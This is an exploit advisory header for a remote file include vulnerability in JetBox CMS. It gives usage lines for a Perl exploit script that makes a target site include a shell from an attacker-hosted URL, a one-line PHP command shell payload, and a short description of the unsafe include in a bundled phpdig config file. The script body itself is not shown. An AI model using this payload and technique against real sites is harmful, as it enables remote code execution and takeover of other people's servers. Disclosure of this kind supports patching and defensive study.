# JetBox CMS Remote File Include
# Exploit & Advisory:  beford <xbefordx gmail com>

# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>

# 		perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable
# relative_script_path in a include() function without being declared.
# This issue has already been fixed in phpdig, but jetbox still uses a
# vulnerable version.
